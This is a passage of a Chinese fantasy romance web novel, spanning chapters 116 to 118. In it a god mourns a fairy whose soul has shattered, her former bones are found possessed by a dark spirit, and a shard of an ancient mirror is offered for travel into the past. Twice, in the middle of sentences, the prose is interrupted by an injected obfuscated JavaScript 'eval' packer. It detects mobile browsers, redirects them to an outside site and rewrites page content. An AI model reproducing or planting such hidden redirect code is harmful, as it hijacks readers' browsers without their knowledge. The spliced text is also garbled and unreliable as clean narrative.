廉秀才跌坐在小小的考间里,颤着一根指头指着那黄衫女子,满面的红光都变作了惊恐,嘴里“你”了半天,忽地一阵眼神涣散,全身失力般往地上一瘫,只剩下一张嘴唇蠕蠕地道:“怨鬼……是怨鬼进来了……” “不,不……”说着忽又一阵清醒,挣扎着半坐起身,疯狂摇起头来:“楚雁儿,你这怨鬼找错地方了,是那帮狱卒杀的你,冤有头,债有主,你自去县衙找杀你的人报仇,与我有什么相干!” 说罢猛地爬起身来,欲向外冲,却迎身撞上一面流转着淡淡蓝白色寒光的光屏,又给狠狠弹了回来。于是惊叫一声,又转过身去,竟如一只壁虎一般,张开四肢,疯狂扒爬那考间的隔墙,像是这样就能从墙顶爬跃出去似的。 “先生不必如此惊慌,您先前拿走了我家的一样东西,我不过是来向先生讨回。”楚雁儿仍是端坐,头发丝也没乱了一根,一开口,也仍是斯斯文文。 然而廉秀才一听这话,扒拉那墙的手脚都快扒出了残影,显是更惊慌了,尖声叫道:“不是我!不干我事,你们家里关起门来的恩怨,都不干我的事!难道是我逼着你去和那小厮淫/乱,那都是你自己淫性太盛,才遭的报应!” 本来瞧着眼前这五旬老头惊叫扒墙的丑态,楚雁儿都觉得有些虐待老人了。其实按她本来的意思,是不必等这廉秀才进考场,要拿了东西直接走人的。偏那位神君另有主意,说定要等这人答完卷子上最后一个字,才许自己显影。 如今听了他这一番话,又想到他将自己与陆郎当作丑角画的那些小书,心头恼意正要升起,但又看他这扒墙惊叫的丑态,便不禁掩了嘴,噗嗤一笑,笑出了胸间好大一口闷气,顿觉一阵身心舒畅。 又低头看那考案,砚里的墨早被廉秀才自己撞得翻了,翻在洋洋洒洒写得花团锦簇的一篇文章上,把那最须整洁干净的考卷给彻底污成了黑黑糊糊的一团皱纸。 楚雁儿见状,摇头叹息一声,引得廉秀才一个回头,便也瞧清了案上的情形,顿时惨嚎一声,墙也不爬了,竟是直接两眼一翻,双腿一蹬,便扑通一声,晕去了地上。 倒把楚雁儿吓了一跳,忙转头向身后那位蓝袍束发的神君道:“他不会就这样被我给吓死了吧?” “不会。”摇光往格子间里瞥了一眼,淡淡地道:“死不了。” 楚雁儿这才松一口气,放下心来。陆郎说过,修出肉身前,她都不可犯下杀戒的。 这时只听不远处一声喘着气的急问:“雁儿,东西可拿着了?” 楚雁儿往后一望,果见文昌正一手扶着高高大大的官帽,急急忙忙向这边跑来。 差点忘了正事。 于是她忙将考案上廉秀才方才答卷的那一支笔拿起,高举了向跑来的文昌晃了晃,笑道:“陆郎,拿着了,就在这儿呢。” 文昌一见了那笔,便长长舒一口气,忙宝贝似的接过,拢去袖中藏好了。 又见了那污了满面的卷子,和晕倒在地的廉秀才,不禁啧一声,道:“偷了文昌笔又如何,难道还真能叫你偷去了功名。” 转头拍拍摇光的肩,又啧啧两声,道:“故意等他把美梦做到极致,才给他一榔头敲醒,你小子什么时候也有这种焉坏焉坏的心思了。” 楚雁儿站起身来,瞧着廉秀才满身狼狈,功名尽毁,道:“不过多亏了神君,这一口气是出得爽。” “只是觉得如果是她,一定会这么做的。”摇光说着收了结界,说话时,视线像是瞧在某处遥远的虚空里。 文昌一面看着考间里冲进来三个号兵,搭手搭脚地都来搬廉秀才,一面道:“她这都去了多久了,还没回来?” 其实这话文昌问得有些忐忑。 按理说,虽是去了九百年前的遥远时空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832713|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但无论在那边过去多少年,只要回来时掐对了年月时辰降落,那么对于这边时空里的人而言,不过转瞬便可再相见了。 可这都入秋了,那位小仙子已去了三个多月,竟还未归来,别是出了什么意外才好。 “会回来的。” 摇光沉黑着一双眸,掸灰一样掸走文昌拍在他肩上的爪子。 忽然腰间乾坤袋中碧光一闪,一只白玉葫芦倏地冲了出来,在空中舞了一圈,似是兴奋异常,随即又顿了一顿,又像是有些生气,最后葫芦嘴往紫宫的方向一转,便嗖地一下,如离弦的箭一般,向着九重天上直射而去了。 摇光猛地抬头,眸中清光闪动:“回来了。” 文昌只见一道银光闪过,眼前的人便已没了身影。 见状连连摇头:“你瞧瞧这人,走时招呼也不打一个,没礼貌。” 一旁的楚雁儿不知想起什么,忽然凉凉瞥一眼文昌,道:“没礼貌,也比只会念‘朱颜辞镜花辞树’的强些。” 文昌噎了一下,没想到好友没损到,反把自己的旧账给勾了出来,忙给楚雁儿又是揉肩膀,又是好言软语地哄道:“好雁儿,这事不是说再不提了。” 楚雁儿看那廉秀才被人直挺挺抬了出去,心里其实畅快,又被他勾动那时两人在一起的诸多不易,早没气了,于是笑着推了文昌一把:“今日全天下多少场子都等着你监考呢,也好在这里躲懒,还不快去。” “一起去。”文昌笑着拉过楚雁儿的手,银光闪过,两人的身影便也消失在原地了。 * 九重天上,紫府清宫,像是凡间的热闹永远照不进的一处所在。 遥遥见了月桂树下那个的身影,摇光追至自己殿中小院的身形僵停一瞬,指骨攥拢,便又快步行了上去。 少女安静地躺在树下,衣裙被红到刺目的血染透,已分辨不出本来的颜色。似是精心挽过的发髻散了一半,沾了血浆的发丝胡乱黏在苍白到没有一丝血色的颊上。 剧烈的头痛瞬袭而至,神识里某处像是被什么东西灼过般发烫,摇光缓俯下身,轻轻将少女脸上的那些发丝拨开。 可血早糊了满脸,根本瞧不出个模样。 他静静看她半晌,终于喉结微动,一开口时,嗓音是被砂纸磨过般的涩哑。 “阿璃。”他轻轻唤她。 可是没有回应。 那双总如琉璃珠般清透好看的眼睛此刻紧紧闭着,像一具死透了的尸体,她的胸膛没有起伏,没有呼吸,只有一个彻底贯穿了心脏的血洞,和襟前一大片早已干涸的血渍。 净体咒挥过,满身血污尽去,他终于看清了那张苍白清丽的小脸。 玉横在上方闪烁着柔和的青光,不多一会,少女胸口的那一个血洞便已愈合如初。 可在这之后,无论再等多久,摇光始终都没有听到那胸腔中第一声恢复的心跳响起。 117. 第116章 诊断 文昌忙了一日,回到紫府,往年这时都是闷头大睡一觉,但想今日必要去贺一贺摇光家那位小仙子的归来,便撑着两双困眼,特地挑了壶好酒,径往摇光殿中去了。 入殿喊了几声,不见人应,却猛地在院中那株大大的月桂树下见着了两道身影。一个阖目躺着,一个半跪而坐,都石雕似的,动也不动,也不知已这样呆了多久。 满院除了那簌簌的叶响,一片死寂,仿佛万籁都已静滞。 文昌见此情形,瞌睡全给吓醒了,睁大两眼,上前一看,愈发吃了一惊:“这是怎么了,魂魄能碎成这样!” 魂破碎成这样,这不就是……已经死了么? 且已是死得比死人还透,便是此时喂来西王母的不死药都嫌晚了。 但觑着摇光那淡到几近寂无的神色,文昌咽了口唾沫,默默把这些想法都咽回了肚里。 这神情他并不陌生,九百年前摇光归位时,就曾是这副神情。 那一日摇光神魂苏醒,掀开的眸子黑得像两潭深不见底的沉渊,他一言不发,便提了破军,一柄寒芒荡彻鬼域,于千里之外直接取了那位魔尊云卿的首级。 自己的这位好友,在神魔战场上做了千万年的前锋,斩杀过的魑魅阴鬼多不胜数,但似乎无论杀过多少神魂,手上又沾了多少血,“杀气”两个字,都总与他扯不上边。 破军向着那些妖鬼斩下时,他向来是不带任何情绪的,剑气从来厉而不戾,真如砍瓜切菜一般,砍完便就下值,下了值便就懒在院中。至于什么公仇私怨,大义苍生,于他仿佛全没一点相干。 唯独那一次。 唯独九百年前砍杀云卿的那一次。 那劈裂鬼域,盛怒盈天的一剑,要说没带着点私人恩怨,反正文昌是不信的。 但彼时的文昌想不明白,九百年前的摇光与云卿,一个在凡间历劫,一个在天上搞事,面都没机会碰上的,能结下什么私人恩怨。 当然,这事他如今也依然想不明白。 只是看着摇光这和九百年前如出一辙的寂淡神情,又看看树下那位没一点生气的小仙子,看得文昌心里头寒气直冒,不禁清了清嗓子,小心建议道:“不若还是送她回昆仑,请那里的神巫给她看看,这种神魂上的事,总是他们那边懂得多些。” 其实她神魂尽碎,气都绝了,哪里还能救转得回,总之文昌是没见过这样先例的。 他这么说,不过是怕摇光行事恣肆惯了,别一个随心,就作出强留遗体这样叫人尴尬的大动作来。 那毕竟是在昆仑山上修习的小仙子,死了,也该送还她师父座下,好生殓葬了才是。断没有长留此处的道理。 “她不会死。”摇光却好像知道他在想什么似的,抬眸淡淡看了他一眼,便倾身下去,将树下的少女轻轻捞入怀中,“只要她不想死,就不会死。” 玉横青光不减,他在那一片碧色柔光中看她冷白的小脸。 “其实她从来都是不想死的,只是有时候,她自己不知道。” 这几句话把文昌听得云里雾里,但也不妨碍他汗毛倒竖,心中不好的预感升起:“那她不知道的时候,你打算要怎么办?” “我会让她知道。” 说罢便抱着人起身,径直往殿中去了。 文昌看着他颀长冷寞的背影,心中大呼完蛋,自己的预感一点没错,这人还真是要强留人家小姑娘的尸体! 脑中又不禁浮现出九百年前,摇光与那位小仙子相拥静坐在血泊里的身影,及至摇光握住破军,给了自己穿心的一剑,贯碎了他凡间肉身里的那一颗心脏。 那样的死法,该称作什么呢? 文昌曾为此去翻过司命的命簿。 武宁侯第七子慕玿,字璟明,生于咸承九年,卒于咸承二十九年,年二十,殉情而死。 殉情啊…… 他那样看上去谁生谁死都事不关己的人,居然会有一天,在凡间为着个小姑娘殉情而死。 文昌呆呆看着摇光背影消失的方向,凝立半晌,心越跳越厉害,终于一个闪身,闪去了昆仑山上。 * 摇光轻轻将怀中少女放去榻上,忽然当的一声,一对玉雕的小人从璃音袖中坠出,滚落去了地上。 其中一个应声而碎,摇光垂眼去看时,只剩下一个姿容灵俏的少女,和一只玉刻的发冠完整地落入了他沉黑的眼底。 他静望半晌,没有去拾捡,就这么垂着眼站着,看了好一会,才默然转回身去,给少女颈下轻柔地垫去一个枕头。 他坐在床沿,微俯着身看她仿佛睡着了的沉静小脸,浓黑的眼睫垂下。 “所以这一次,还是为了他。” 嗓音低缓,听不出情绪,落在少女枕边的指骨却无意识地渐渐拢起,直至拢成了拳。 只是掌心捏握一下,便就松开,头又狠狠地痛了起来,神魂里某处像有人举着火钳在烧。 他盯住她紧闭的双眼:“就这么喜欢他?” 可就像过往的不知多少年里一样,少女不会给他回答。 他也无需她的回答,她是如何喜欢月宫里那位仙君的,没有人比他更清楚。 他只是看不够一样地看她,直到殿外杂沓的脚步声起,男人皱了皱眉,抬手便欲挥出一个结界,可挥至半空,动作却又顿住,片刻后,长睫垂覆,手臂便也随之垂了下去。 他望着她,勾唇笑了声:“他来看你了。” 沉默一息,便起身挥开殿门,顺手挥走地上那些碎玉残片,放那些人疾步走了进来。 巫真最先冲上前去,招呼也来不及打了,二话不说,手印往灵台闭目一叩,便放自己的神识探入了璃音体内。 摇光便只是倚去殿柱站在一边,淡眼看着,不说话。 商月推着兄长的轮椅进来,玉冠银袍,远山似的一双眉眼此刻忧急地蹙了起来,不知是无意还是故意,他掀眸看了摇光一眼,却并不见礼,便收回视线,快步往榻前去了。 只有轮椅上的商月向摇光轻一颔首,面上微微扯出了个抱歉又无奈的笑来。 摇光仍是看不出所谓地懒靠在那根柱子上,只是淡淡看着巫真给璃音诊问魂脉。 直至望见少女垂软在榻上的手被另一个男人握入了掌心。 他背脊一僵,一息后,无声地撇开了目光。 “阿横怎样?”商月焦急地向巫真询问。 巫真又在璃音体内探了一会,才收回神识,缓睁开眸,蹙了眉道:“不知她经历了什么,神魂碎到根本认不出来了,玉横正在努力为她修复,只是……” 她怜惜地摸了摸少女光洁却冰凉的额头:“只是她的神魂碎裂成这样,我也不知玉横还能不能帮她修补得回来。” “只是去了趟九百年前,神魂怎么会碎裂成这样。”商月握着少女的手紧了紧,向摇光意有所指地瞥去一眼,“是传送阵法出了问题?” 摇光淡淡回望他一眼,没有应声。 巫真摇头:“不知道,但‘涟漪’作为时空之阵,只是需要布阵之人的心头血,本身并不夺取穿越之人的神魂性命,看这症状,倒像是另一个上古大阵会留下的……” 商止闻言,眼神蓦地幽暗下去,接口缓缓吐出了四个字:“血灵之阵。” “我也是看着有点像,可是……”巫真皱眉,抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850098|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望向商止,“我此前从未听说过,有谁能从血灵之阵中逃脱,活下来的。” 摇光这时却忽道:“有过的。” 他眼中渐渐闪动起一些神采,顿了顿,继续万分笃定地道:“有人活下来过。” 巫真闻言不由得一怔,若真有人从血灵大阵中活下来过,她作为世上唯十能开启此阵的神巫之一,怎可能会没听说过? 正欲开口相询,忽见摇光掌心火苗一窜,一张请神令便急匆匆地窜去了他面前。 其上人名地点俱全,写着:伏龙山顶不还寨有异,摇光神君,速来,虞宛初烧请。 摇光只扫过一眼,刚要不做理会,另一张请神令便又急忙忙地窜了出来,这一张显是被补充烧来得十分匆忙,格式抬头皆无,只有一行小字:与夏姑娘神魂之事有关。 摇光眸光一动,当即直了背脊,挥手向榻上打出一个结界,将牵着璃音的那只手毫不客气地弹了出去,也不去看那手主人的神色,只转头向巫真道:“烦请替我将她看顾一会,很快就回。” 巫真下意识点了点头,点完便觉出不对来:璃音这小丫头是她徒弟,是她的人,她何止是看顾她,她还要带她回去昆仑呢。但是听这神君这话说的,又再看他挥出的那厚厚一层防人将小丫头带走的结界,倒像人是他的,只是暂时委请自己照看一二,等他回来,竟还要还给他一样。 但她尚未及开口,一抬眼,便见一道蓝白光晕闪过,人已闪身去得老远了。 商月五指拢了拢骤然空下的掌心,眼神沉暗下来,道:“不带阿横回去么?” 巫真干咳一声,她如何不知小月的心思,但这话问的,摇光神君动用星辰之力罩下的结界,这殿里几人谁能破得,她实在是想带,也带不走啊。 不过就她方才在小丫头体内探到的情况而言,倒也还不是太过悲观。有玉横温养守护,虽然进度极其缓慢,但璃音的魂魄到底是在修复的。 只是她的神魂碎得实在太过厉害,要一片一片全部黏补起来,恐怕没个几百年是补不全的了。 而在神魂尚未黏补完全之前,说生说死都还为时尚早。 那么在神魂飘摇未有定数的这几百年里,有这样一位神君看护着,她倒也能放心许多。 于是巫真又默默看了眼摇光留下的结界,道:“搬来搬去她也恢复得不安稳,其实神君这处倒也幽静,适合静养的,往后我们轮流来看顾她就是了,也不是非要带回昆仑去。” 商月还欲说什么,商止忽然掩袖嗽出几声难抑的轻咳,巫真见了,忙替他将膝上的盖毯往上拉了拉,关切道:“你乏了就先回去吧,这里我和小月留下来就可以了。” 商月本想提议和兄长联手破了结界,接阿横回去月宫,见商止如此,也就不好再说,便道:“师姐送兄长回去吧,我留下陪着阿横就好。” 他向来跟着璃音将巫真喊作师姐,巫真也默认他终有一天要将小璃音娶去月宫的,便也由着他喊,只是如今…… 她又一次默默看一眼榻上的结界,又再默默望回眼前的商月。 其实放眼天宫,小月这条件是顶好的了,只是嘛…… 若说是要和那位神君放在一起,就难免要差着了那么一点。 不过这也都是些八字没一撇的事,那位神君的心思,她也只是胡猜乱想,谁又真的知道呢。 巫真便也不再作多想,轻轻甩了甩脑袋,起身把手搭上商止的轮椅,放心地把小璃音交给了商月:“那好,我先送你兄长回去。” 也顺便回去翻翻古籍,问问另外九位神巫,她实在好奇,方才摇光口中能从血灵之阵中全身而退,还活了下来的,究竟是谁? 118. 第117章 圣女骨 早秋八月,凉风萧肃。 伏龙山巅,不还寨内,艳丽的美人蕉开了满院,铺了一地火红,却都围簇在一排堆放得整整齐齐的棺木周边,秋风一吹,瑟瑟地摇响起来,便叫那遍地的红花霎时都艳得悚然,丽得诡异了。 满院单调的风吹叶动声中,突然,有细微的“嗒”的一声。 一只骷髅森森的冷白骨爪,穿过红花丛丛,寻着院中最边上那口最是上好的红木棺材,停住,然后轻轻地搭了上去。 一指搭上,其余四指立马跟着一叩一抬,狠狠一掀,便只听砰的一声巨响,厚重结实的棺材板就被那骨爪给掀了个彻底。 棺木内露出一具干净完整的白骨,指搭腹骨,躺姿安详,正安安静静,端睡其中,脆弱的颈椎骨却猛地被一只探进棺内的骨爪攫住。 接着,整个骨架都被掐着脖子拽起,眼看就要被不知哪里来的野骨丢出自己的棺舍,便在此时,一团墨线如一尾墨色小鱼,自空中飞速游曳而来。 啪嗒—— 像是一团浓墨被甩溅在了头盖骨上,墨线绕骨,灵魄自生。 棺内的白骨立时喀哒哒一阵响动,柔软的血肉自静静搭在腹上的指尖覆上,寸寸裸露的骨节登时化作一个女子布着薄茧的纤长素手,一把抬起,反握住了掐在自己脖颈上的那只森然骨爪。 “又来!” 墨线缠覆下,棺中白骨眨眼间便成了个红衫俏丽的女子,她与那不速之骨互相掐着脖子,愁眉苦脸大叫一声,便挣扎着自棺木中跳起身来。 谁知她一出棺材,那白骨便立刻松了手,原地雀跃着小跳一下,便对着那棺材一跃而入,十分泰然且安详地躺好了。 那红衣女子简直气不打一处来,一手叉腰,一手指着棺中白骨怒道:“什么毛病,给你打了副好的棺材你不要,就非要来抢别人的睡,两个月了,天天搅得人不得安生!” 忽闻得身后男子的一声清喝:“山桃姑娘,小心避让!” 山桃熟练地将身子一偏,厚厚一沓黄符纸立马从她身侧飞袭而过,落入棺中,劈头盖脸就贴了那强行霸占他人棺木的白骨满身。 虞宛言催动符咒,棺中白骨周身登时腾起黑雾,跳将起来,似也发了怒,就开始抡起胳膊,狂砸那口红木棺材。 它骨架纤巧,力道却猛,只听得砰砰砰砰,尘土簌簌扬起,厚实的红木棺没几下便被锤烂了大半。 山桃“哎呀”一声,气得从腰间抽出一根火钳:“我的床!” 虞宛言单手掐诀,用力催动着白骨身上那些符咒,符文闪动,却只激得那白骨间黑气暴涨,砍砸起来愈发勇猛了。 虞宛言掉下一滴冷汗,急转头向身侧连烧了两道请神令的虞宛初道:“阿姐,我快撑不住了,神君给你回信没有?” 话音甫落,冷蓝寒芒骤至,无边剑意袭来。 一张星罗棋布似的大网向着那凶猛白骨兜头罩下! 凌厉的剑气太盛,竟是要削魂夺魄的架势,虞宛初不由出声惊喊:“神君!别伤了它!” 而在这迫人的剑光之下,腾腾的黑气被压住溃散,纤薄的骨架中,丝丝金色的脉络伴着一小抹淡青的光晕,渐渐显露了出来。 蓝光顿止。 下一刻,无边剑意化作万千清辉消散。 破军一撤,那黑烟便又腾绕上来,方才安静了一息的白骨立马一个转身,便又继续打砸起了身旁的棺木,砰砰砰砰,木屑狂舞,不多一会,就把剩下的一半棺材也给砸了个粉碎。 山桃:“……” 山桃捏了捏火钳,扭过头来,一脸悲愤:“仙长,我真的不能打它么?” 虞宛言瞥一眼身形顿在原地、一动不动盯着那白骨的摇光,默默向山桃做了个噤声的手势,摇了摇头。 “神君适才应该也看到了。”虞宛初忙上前一步,也望着那白骨道:“金色圣光护体,这是一副圣女骨。” 所谓圣人之骨,便是有人在世时积下了大功德,神魂入圣飞升后,遗留在人间的骸骨。 虞宛初侧头看向摇光,在轰隆隆一片砸木声中,缓缓地道:“我前月在皇城时,曾听闻城中有一座圣女祠,是前朝留下的,至今仍有香火。那里所供奉的圣女,神君可知是谁?” 摇光只盯着那副白骨,头也没转一下,其实不必虞宛初这些提示,他也已将它认出来了:“是她。” 是阿璃。 这是阿璃的骨头。 巨大的星罗棋布剑阵,在打砸不休的白骨头顶轻轻旋转,没了迫人的凌厉,只剩下银蓝色的星辉安静流转,竟像是在白日里给它撑着一片浅静星空。 “骸骨苏醒,必是有魂上身。身上有大功德的圣人之骨,有圣光护体,普通阴鬼是上不了身的,所以这魂魄必与原主息息相关。” 虞宛初看一眼前方那具抡着胳膊,狂猛无比,已准备开砸第二副棺木的白骨,顿了顿,口中续道:“不过这具骨头里的魂魄……” 摇光双眼一眯:“不全是她。” 说着,便就在那白骨一把掀翻了第二块棺材板,要去拽出里面安睡的骨头时,自乾坤袋中掏出一只青铜铃铛,猛力一抛,向着那圣女骨抛掷而去。 叮铃—— 引魂铃青光大涨,清脆的铃声在秋日凉风中响过,只一声,便在那占据了圣女骨的层层暴戾黑雾中,唤起了一团微弱的淡青色光晕。 随着那团青光在头骨间莹莹亮起,白骨身形一顿,毁棺的动作停了下来。 它似有些茫然,迟缓地转过身来,然后抬起五根白乎乎的骨头爪子,放在眼前看了又看,看了半晌,把头一歪,似是十分困惑自己为何变成了这副样子。 收了骨掌,微一抬头,视线在身前几人身上一扫,便直直落去了摇光身上。 作为一具白骨,其实它已并不拥有所谓的视线了,有的只是头骨上两团黑糊糊的大洞而已。 但摇光就是能感觉到,它向自己望了过来,没来由地,他甚至能感觉到它轻盈的欢喜。 它发不出声音,但上下颌骨一动,摇光却仿佛在神魂深处,听到了少女欢欣含笑、清灵悦耳的一声:“小七。” 自她离开那一刻,便长久沉寂了下去的心跳,在这一刻被猛地勾起,在胸腔中猛烈地跳动了起来。 神识中某个地方又酥又痛地发着烫,摇光凝眸望着那团微弱的青光,低低地在心底应了她一声:“阿璃。” 太过亲近的称呼,可惜他们从未有过亲近到可以容他如此唤她的时刻。 只有在她看不见、听不见的那些暗处,他才这样唤过她的名字。 神识中隐秘的相唤,那白骨却仿佛亦能听见,一个抬步便要向他奔来。 不料那青光实在太过微弱,腿骨尚未奔出一步,便被重新涌上来的黑雾狠狠压了下去,白骨步子一顿,黑气从七窍汩汩冒出,一个转身,便又再次砰砰砰砰,掀起别人的棺材板来。 知道这会子抢棺打砸的不是夏姑娘,山桃愤愤举起火钳,指着那团诡异的黑雾,没好气地道:“这黑不溜秋的一团到底什么来路,怎么它专爱抢别人的房子,还霸占了夏仙子的遗骨,真是好不要脸。” 叮铃—— 引魂铃再次被摇响,黑烟溃逃着淡下,但在金色丝络的守护下,却并不向骨外散溢,微弱的一小团淡青色神识亮起,但也依然只能维持短短的一息,便再次被卷土重来的黑气笼了进去。 “若我们猜想得不错,这该是夏姑娘飞升前,遗下的凡身骸骨。”虞宛初见此情状,忧心忡忡地道:“一躯一灵,恐怕如今这副躯体里挤了不止一个灵魄了,过不了多久,彼此之间就要开始互相吞食,以夺‘屋舍’主权,到那时……” 山桃一听,急 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“圣女骨有圣光护体,那抹游魂不知如何附身上去的,但一旦附上了,旁人从外面便再杀它不死,也驱赶不走了。”虞宛初为难地摇了摇头,“至于夏姑娘的残魂也是一样,我们是取不出来的。” 山桃怔怔望着那正四处嚣张打砸的白骨,沉默片刻后,喃喃地道:“也就是说,现在能杀死那团黑气的,就只有同在圣女骨内的夏仙子自己那点残魂了?” 虞宛初在一旁点头:“是。” 顿了顿,又道:“那游魂,我们虽杀不了它,但在它们开始互相吞食的时候,帮忙镇压一下,或许还是有办法。” “很难。”这下轮到虞宛言摇头了:“神魂互噬时,两抹神魂交缠在一处,神器都难分清谁是谁,若以神器法术镇压,必然会两个一起被镇压,很难只压住其中一个。” 情知弟弟说得不错,虞宛初抿了抿唇,眼前白骨行为怪异、像是已完全丧失了神智,她眉头微拢,用指腹画着圈摩挲了下手中剑柄,下定了某种决心似的,把剑柄一握,说道:“有办法的。” 深吸一口气,续道:“要镇压骨内游魂,可以无需什么神器,只需拿到骸骨原主生前长期贴身带的一样东西,比如荷包、香囊、长命锁……” “阿姐!”虞宛言意识到什么,猛地打断虞宛初的话,看向姐姐的目光里,竟是沉郁一片。 山桃没有在意虞宛言的打岔,起先听虞宛初说有办法,便高兴了一下,可听到这里,又愁起脸来:“距离夏仙子飞升,也好些时候了吧,仙长说的那些东西,还能找到吗?” 一座坟墓,要完好地保存上百年,也不是件容易的事。而且如今这骨头都逃出来了,那些个当年一起埋入的陪葬,恐怕也早被人挖得差不多了吧。 虞宛初亦没有理会弟弟的视线,只转头向山桃说道:“若说是带去坟墓里的那些,活气早散了,找到也是无用。” “啊,可是那种生气尚存的东西,现在还怎么可能找得到……”山桃一时有些困惑。 虞宛初笑道:“能找到的,只要……” “阿姐!”虞宛言一把扯过虞宛初,一双朔雪般寒郁的眸子盯了过去,“别说了……” 尾音渐颤,已几近恳求。 “没事,阿言,我知道分寸。”虞宛初轻拍了拍弟弟的背脊,“你也很想帮她,不是吗?” 虞宛言抬眸看一眼前方作乱的白骨,把唇抿成了一条线,不说话了。 安抚过后,虞宛初便抬手掐出一个指诀,只听腰间佩剑铮然一声,凌空而起。她指尖微动,剑柄竟如机括一般活动起来,变作一个个小小的金属块,上下左右不断移动着方位,最后停下时,露出了最中间方方正正的一方小格。 “按圣女祠中碑文记载,夏姑娘在这凡间生活,该是三百年前的事了。” 虞宛初从那小格里拿出一块像是残镜的碎片,将它举在手中,视线自眼前三人身上一一扫过,平静地道:“我们谁去。” 119. 第118章 天地法则 小半巴掌点大的一点昆仑残镜,背面粗粝古拙,其上隐有铜色漆文盘绕,绕出的图形古涩佶屈,像是某种来自上古的神秘符文,很有些上古神器该有的韵味。 但因镜身残碎,符文便也都随残边折断,再看不出原本完整的图貌。 而镜子那一面,则反射着粼粼的日光,那镜子里所映照出的光景,便都叫这午后过盛的日光给淹没了。但其实,若有人仔细去看,就会发现,那里面,本就是什么也没有的。 只有雾茫茫的一片空荡,像是藏了一整个时间的荒原。 虽已仅剩残片,然只这一小块,便足以窥觑万灵过往,更能叫星移物换,时空颠覆。 如此神器,可以想见,当年碎落人间时,曾引发了各大修仙门派多么轰轰烈烈的一场骚动。便是直到今时今日,仍不断有能人修士暗暗搜寻着神镜残片的下落,且这样的人,绝不在少数。 但这样连接着天地时空法则的神器,岂可随意落入凡手。 千万个碎片,若落入千万人手,人人都持镜去过往逛上一遭,这人要回去弥补一点什么缺憾,那人看准了什么时机要去搅一搅局,这世界岂不都要乱了套。 于是这醉酒碎镜,一不小心就闯出了个天地宇宙都差点为之乱套的大祸的始作俑者——云上真人,就这么被罚下了界,专擦此事的屁股来了。 掩去身份,扮作修仙道人,开山立派,实则都只为了能在凡界更方便地眼观六路,耳听八方,好好监看着那些个修仙门派,以免哪片残屑被哪家走了大运的山头捡了去,闹出什么惊天动地的幺蛾子来。 总之,什么时候擦完了这屁股,什么时候才得重回九重天。 当然,这些事,都是绝顶的机密,是属于不可泄露的那种天机。 凡尘里的这些人,只知近百年里出了个且生观,观里出了个法术平平的白头发道人,又收了些不咸不淡的徒弟,其余真相,是一概不知的。 而此刻,这一小块足可撼动各大门派的昆仑镜残片,就这么明晃晃地,被那法术平平的白头发老道门下一位不咸不淡的徒弟,稀松平常地拿了出来,举在手中,举在山顶微凉的秋风里。 不过对于云上真人的身份,摇光心里早已有数,此时见了那枚残镜,也只是平常地投去一眼,并没现出多少意外的神色。 山桃倒是微睁了眼,十分好奇地围着那镜子瞅了一圈,但她是个活在书墨世界里的墨灵,也瞅不出个厉害来,只觉看着有些旧,还有点破,那眼睑被撑开的弧度便又渐渐消退了下去。 就,怎么说呢…… 瞧着还不如自己手里的这把火钳子威猛。 神器有灵,虽如今碎成了一片片,那一小片镜灵还是感应到了山桃毫不掩饰的嫌弃,加之山风一吹,不禁又气又冷,就在这八月萧瑟的秋风里白光一闪,发了一个抖。 摇光便在此时沉静地开口道:“我去。” 其余三人的目光立刻凝聚到了他的身上。 虞宛初对此毫不意外。 山桃依旧有些云里雾里,瞅瞅镜子,又看看摇光,再觑觑虞家一对姐弟,不知为何,她总觉得自那镜子被拿出来后,眼前这三人间的气氛便有些微妙的凝滞。 虞宛言立马证实了这份凝滞,霜冷的视线直视着摇光,漠声道:“神君不能去。” 少年眼底寒郁未散,不知被激起了什么脾气,面对曾差点一剑爆了自己脑袋的神君,竟也敢迎着他如剑般向自己压来的沉冽目光,有理有据地驳斥:“天地时空自有一套它的法则,神君司北斗,掌建四时诸纪,这里谁不能去,神君最该清楚。” 既敢留下能通往过去之门,为防止世界大乱套,天地宇宙也自有一套它的法则。 一躯一灵,便是其中的一条铁律。 同一个时空下,一灵只得一躯,一躯亦只得一灵。 也就是说,若在同一个时空里,出现了一模一样的两个人,天地法则便会发挥作用,使其躯壳互相吸引,引至一处,使之相合,从而二灵归一躯。 此后,则再使两魂在这一躯中相斗,直到一方吞噬另一方,恢复到一躯一灵的状态为止。 这便是凌驾于所有法术之上的天地法则中的一条,宇宙万灵共遵共守,一视同仁,无可更改。 璃音能去到九百年前,而不受此扰,乃是因为九百年前的那个时空,本身并没有夏侯璃音的存在。 但在三百年前的那个世界里,是不可能不存在一个原本的摇光星君的。 故而,要说这里几人中谁最不能去…… 虞宛初眼看着摇光的神色愈发沉静下去,默默将弟弟往身后拉了拉,温声笑道:“还是我……” 话未说完,就被虞宛言生硬地打断:“你也不能去。” 少年一把夺过阿姐手中的残镜碎片,沉声道:“我去。” 口吻坚决,眼神冷隽,不留一点商榷余地的样子。 昆仑镜于他们而言,可以说是比性命还重要的东西,阿姐不会不知,但他也能明白,阿姐为何会愿意为了那位小仙子,义无反顾地将它拿了出来。 那日在揽华公主殿内,时空漩涡骤现,这东西,其他人没见过,他们却是认得的。 他本可以出言警示,但那一刻的他与阿姐,都默契地选择了沉默。 而这一沉默,便导致了璃音毫无防备地坠入时空之阵,又在回来的途中出了此等意外。 